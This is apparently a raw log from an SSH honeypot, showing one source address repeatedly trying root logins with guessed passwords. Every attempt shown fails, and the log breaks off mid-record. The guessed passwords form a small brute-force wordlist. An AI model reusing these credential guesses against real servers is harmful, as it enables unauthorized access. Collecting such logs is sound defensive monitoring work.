{"eventid":"cowrie.login.failed","username":"root","password":"Test@123!","message":"login attempt [root/Test@123!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:08:06.325620Z","src_ip":"60.165.124.241","session":"ccf25b1b0896","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.9","message":"Connection lost after 2.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:08:07.579643Z","src_ip":"60.165.124.241","session":"ccf25b1b0896","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":46448,"dst_ip":"10.17.0.5","dst_port":22,"session":"318313448fa7","protocol":"ssh","message":"New connection: 60.165.124.241:46448 (10.17.0.5:22) [session: 318313448fa7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:08:07.810915Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:08:07.816648Z","src_ip":"60.165.124.241","session":"318313448fa7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:08:08.069628Z","src_ip":"60.165.124.241","session":"318313448fa7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Aa123456@","message":"login attempt [root/Aa123456@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:08:08.809372Z","src_ip":"60.165.124.241","session":"318313448fa7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:08:10.059665Z","src_ip":"60.165.124.241","session":"318313448fa7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":49682,"dst_ip":"10.17.0.5","dst_port":22,"session":"64d744bc2592","protocol":"ssh","message":"New connection: 60.165.124.241:49682 (10.17.0.5:22) [session: 64d744bc2592]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:08:10.298806Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:08:10.304636Z","src_ip":"60.165.124.241","session":"64d744bc2592","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:08:10.558596Z","src_ip":"60.165.124.241","session":"64d744bc2592","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"myadmin","message":"login attempt [root/myadmin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:08:11.289882Z","src_ip":"60.165.124.241","session":"64d744bc2592","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:08:12.531468Z","src_ip":"60.165.124.241","session":"64d744bc2592","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":52168,"dst_ip":"10.17.0.5","dst_port":22,"session":"3e5541c93af2","protocol":"ssh","message":"New connection: 60.165.124.241:52168 (10.17.0.5:22) [session: 3e5541c93af2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:08:12.764423Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:08:12.768880Z","src_ip":"60.165.124.241","session":"3e5541c93af2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:08:13.006670Z","src_ip":"60.165.124.241","session":"3e5541c93af2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwe123456.","message":"login attempt [root/qwe123456.] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:08:13.726622Z","src_ip":"60.165.124.241","session":"3e5541c93af2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:08:14.969439Z","src_ip":"60.165.124.241","session":"3e5541c93af2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":55420,"dst_ip":"10.17.0.5","dst_port":22,"session":"bf465681cce1","protocol":"ssh","message":"New connection: 60.165.124.241:55420 (10.17.0.5:22) [session: bf465681cce1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:08:15.203317Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:08:15.209070Z","src_ip":"60.165.124.241","session":"bf465681cce1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:08:15.447968Z","src_ip":"60.165.124.241","session":"bf465681cce1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Adm1n!","message":"login attempt [root/Adm1n!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:08:16.167011Z","src_ip":"60.165.124.241","session":"bf465681cce1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:08:17.407530Z","src_ip":"60.165.124.241","session":"bf465681cce1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":58026,"dst_ip":"10.17.0.5","dst_port":22,"session":"079d1b338059","protocol":"ssh","message":"New connection: 60.165.124.241:58026 (10.17.0.5:22) [session: 079d1b338059]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:08:17.643503Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:08:17.648650Z","src_ip":"60.165.124.241","session":"079d1b338059","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:08:17.887592Z","src_ip":"60.165.124.241","session":"079d1b338059","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1234@abcD","message":"login attempt [root/1234@abcD] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:08:18.609492Z","src_ip":"60.165.124.241","session":"079d1b338059","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:08:19.853521Z","src_ip":"60.165.124.241","session":"079d1b338059","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":33114,"dst_ip":"10.17.0.5","dst_port":22,"session":"02d206e1d800","protocol":"ssh","message":"New connection: 60.165.124.241:33114 (10.17.0.5:22) [session: 02d206e1d800]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:08:20.087820Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:08:20.093012Z","src_ip":"60.165.124.241","session":"02d206e1d800","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:08:20.332022Z","src_ip":"60.165.124.241","session":"02d206e1d800","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"reza1234","message":"login attempt [root/reza1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:08:21.055728Z","src_ip":"60.165.124.241","session":"02d206e1d800","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:08:22.300708Z","src_ip":"60.165.124.241","session":"02d206e1d800","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":36158,"dst_ip":"10.17.0.5","dst_port":22,"session":"2949857815df","protocol":"ssh","message":"New connection: 60.165.124.241:36158 (10.17.0.5:22) [session: 2949857815df]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:08:22.531212Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:08:22.536136Z","src_ip":"60.165.124.241","session":"2949857815df","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:08:22.772126Z","src_ip":"60.165.124.241","session":"2949857815df","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"xiaoxiao123..","message":"login attempt [root/xiaoxiao123..] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:08:23.486159Z","src_ip":"60.165.124.241","session":"2949857815df","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:08:24.726681Z","src_ip":"60.165.124.241","session":"2949857815df","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":38702,"dst_ip":"10.17.0.5","dst_port":22,"session":"59b8808f706f","protocol":"ssh","message":"New connection: 60.165.124.241:38702 (10.17.0.5:22) [session: 59b8808f706f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:08:24.958421Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:08:24.982135Z","src_ip":"60.165.124.241","session":"59b8808f706f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:08:25.218783Z","src_ip":"60.165.124.241","session":"59b8808f706f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"QAZ123qaz","message":"login attempt [root/QAZ123qaz] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:08:25.937193Z","src_ip":"60.165.124.241","session":"59b8808f706f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:08:27.178339Z","src_ip":"60.165.124.241","session":"59b8808f706f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":41858,"dst_ip":"10.17.0.5","dst_port":22,"session":"c5686917e544","protocol":"ssh","message":"New connection: 60.165.124.241:41858 (10.17.0.5:22) [session: c5686917e544]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:08:27.438140Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:08:27.442810Z","src_ip":"60.165.124.241","session":"c5686917e544","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openss